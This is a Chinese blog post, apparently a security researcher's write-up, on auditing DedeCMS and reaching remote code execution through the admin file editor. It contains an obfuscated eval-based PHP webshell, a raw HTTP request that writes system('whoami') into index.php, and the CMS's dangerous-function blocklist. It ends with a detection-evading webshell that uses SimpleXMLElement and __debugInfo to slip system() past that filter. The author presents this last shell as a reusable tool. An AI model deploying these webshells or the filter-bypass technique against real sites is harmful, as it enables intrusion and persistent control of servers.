意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

ini 复制代码
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
    if ($k[0] == 'd' && $k[5] == 'd') {
        $template_source = str_replace($v,'',$password);
    }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $$key,等价于$template_source

ini 复制代码
$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

php 复制代码
function DeleteFile($filename)
    {
        $filename = $this->baseDir.$this->activeDir."/$filename";
        if(is_file($filename))
        {
            @unlink($filename); $t="文件";
        }
        else
        {
            $t = "目录";
            if($this->allowDeleteDir==1)
            {
                $this->RmDirFiles($filename);
            } else
            {
                // 完善用户体验,by:sumic
                ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
                exit;
            }
            
        }
        ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
        return 0;
    }
}

是一个方法,这种需要寻找调用这个方法的地方

bash 复制代码
else if($fmdo=="del")
{
    $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

ruby 复制代码
/**
* 文件管理控制
*
* @version        $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package        DedeCMS.Administrator
* @founder        IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright      Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license        http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

ini 复制代码
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

发现可以执行 sql

php 复制代码
if(preg_match("#^select #i", $sqlquery))
    {
        $dsql->SetQuery($sqlquery);
        $dsql->Execute();
        if($dsql->GetTotalRow()<=0)
        {
            echo "运行SQL:{$sqlquery},无返回记录!";
        }
        else
        {
            echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
        }
        $j = 0;
        while($row = $dsql->GetArray())
        {
            $j++;
            if($j > 100)
            {
                break;
            }
            echo "<hr size=1 width='100%'/>";
            echo "记录:$j";
            echo "<hr size=1 width='100%'/>";
            foreach($row as $k=>$v)
            {
                echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
            }
        }
        exit();
    }
    if($querytype==2)
    {
        //普通的SQL语句
        $sqlquery = str_replace("\r","",$sqlquery);
        $sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
        $nerrCode = ""; $i=0;
        foreach($sqls as $q)
        {
            $q = trim($q);
            if($q=="")
            {
                continue;
            }
            $dsql->ExecuteNoneQuery($q);
            $errCode = trim($dsql->GetError());
            if($errCode=="")
            {
                $i++;
            }
            else
            {
                $nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
            }
        }
        echo "成功执行{$i}个SQL语句!<br><br>";
        echo $nerrCode;
    }
    else
    {
        $dsql->ExecuteNoneQuery($sqlquery);
        $nerrCode = trim($dsql->GetError());
        echo "成功执行1个SQL语句!<br><br>";
        echo $nerrCode;
    }
    exit();
}

而且 sql 语句是可以控制的

跟进执行的地方发现

php 复制代码
function Execute($id="me", $sql='')
  {
      global $dsqli;
if(!$dsqli->isInit)
{
	$this->Init($this->pconnect);
}
      if($dsqli->isClose)
      {
          $this->Open(FALSE);
          $dsqli->isClose = FALSE;
      }
      if(!empty($sql))
      {
          $this->SetQuery($sql);
      }
      //SQL语句安全检查
      if($this->safeCheck)
      {
          CheckSql($this->queryString);
      }

      $t1 = ExecTime();
      //var_dump($this->queryString);
      $this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());

      //查询性能测试
      if($this->recordLog) {
	$queryTime = ExecTime() - $t1;
          $this->RecordLog($queryTime);
          //echo $this->queryString."--{$queryTime}<hr />\r\n";
      }

      if($this->result[$id]===FALSE)
      {
          $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
      }
  }

是有一个 checksql 的检查的

php 复制代码
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
    function CheckSql($db_string,$querytype='select')
    {
        global $cfg_cookie_encode;
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
        $userIP = GetIP();
        $getUrl = GetCurUrl();

        //如果是普通查询语句,直接过滤一些特殊语法
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

            //$notallow2 = "--|/\*";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
            }
        }

        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
        OR strpos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="union detect";
        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="sub select detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
        }
        else
        {
            return $db_string;
        }
    }
}

案例 4

基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法

我们来到对应的路由去查看

果然找到了

php 复制代码
//文件编辑

/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
    csrf_check();
    $filename = str_replace("..", "", $filename);
    $file = "$cfg_basedir$activepath/$filename";
    $str = stripslashes($str);
    $fp = fopen($file, "w");
    fputs($fp, $str);
    fclose($fp);

    if ($fp === false) {
        ShowMsg("保存失败!请检查文件是否可写", -1);
        exit();
    }

    if(empty($backurl))
    {
        ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
    }
    else
    {
        ShowMsg("成功保存文件!",$backurl);
    }
    exit();
}

一样的方法

文件名是 filename,内容是 str

我们访问对应的路由

发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗

perl 复制代码
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Connection: keep-alive

fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++

但是发现

所以准备调试分析一手

php 复制代码
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
    if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
        $str = dede_htmlspecialchars($str);
        die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
    }
}

发现原因是因为有 waf

直接交给一个聪明朋友

移除多行注释

ini 复制代码
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);

防止攻击者把危险代码写在注释中来绕过检测。

危险函数与变量过滤

ini 复制代码
$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';

匹配并拦截使用了以下内容的代码:

系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等

全局变量:` <math xmlns="http://www.w3.org/1998/Math/MathML"> G E T , GET, </math>GET,POST, <math xmlns="http://www.w3.org/1998/Math/MathML"> R E Q U E S T , REQUEST, </math>REQUEST,COOKIE, $_FILES, GLOBALS

动态函数调用:call_user_func, create_function, 等

一旦匹配:直接终止执行并提示危险代码。

PHP 标签与代码执行行为检测

感觉过滤还是挺严格的

绕过 waf 到 RCE

直接掏出上次的 webshell,稍微修改一下就 ok 了

php 复制代码
<?php

class User {
    private $username;
    private $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __debugInfo() {
        $xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
        $xmlElement = new SimpleXMLElement($xmlData);
        $namespaces = $xmlElement->getNamespaces(TRUE);
        $xmlElement->rewind();
        var_dump($xmlElement->key());
        $result = $xmlElement->xpath('/books/system');
        var_dump (($result[0]->__toString()));
        ($xmlElement->key())($result[0]->__toString());
        return [
            'username' => $this->username,
            'info' => '这是调试时返回的信息',
            'timestamp' => time()
        ];
    }
}

$user = new User('alice', 'secret123');
var_dump($user);

原理上次大概讲过了,就是自动触发

然后我们访问首页

成功弹出计算器

相关推荐
农民也会写代码4 天前
dedecms修改描述description限制字数长度的方法
mysql·php·cms·dedecms
网络安全大学堂12 天前
【网络安全入门基础教程】TCP/IP协议深入解析(非常详细)零基础入门到精通,收藏这一篇就够了
网络协议·tcp/ip·web安全·计算机·黑客·程序员·编程
ZLlllllll017 天前
常见cms里面的几个cms框架的webshell方法(wordpress,dedecms,phpmyadmin,pageadmin)
cms·wordpress
李白你好19 天前
BreachForums 黑客论坛强势回归
黑客
欧雷殿20 天前
中年人在 AdventureX 2025 的几日
黑客·程序员·创业
用户7785371836961 个月前
从抓包GitHub Copilot认证请求,认识OAuth 2.0技术
黑客·github·设计
合天网安实验室1 个月前
精准定位文件包含漏洞:代码审计中的实战思维
黑客·cms
skywalk81631 个月前
2025年的前后端一体化CMS框架优选方案
cms·web
亿坊电商2 个月前
开源CMS vs 闭源CMS:二次开发究竟有何不同?
开源·cms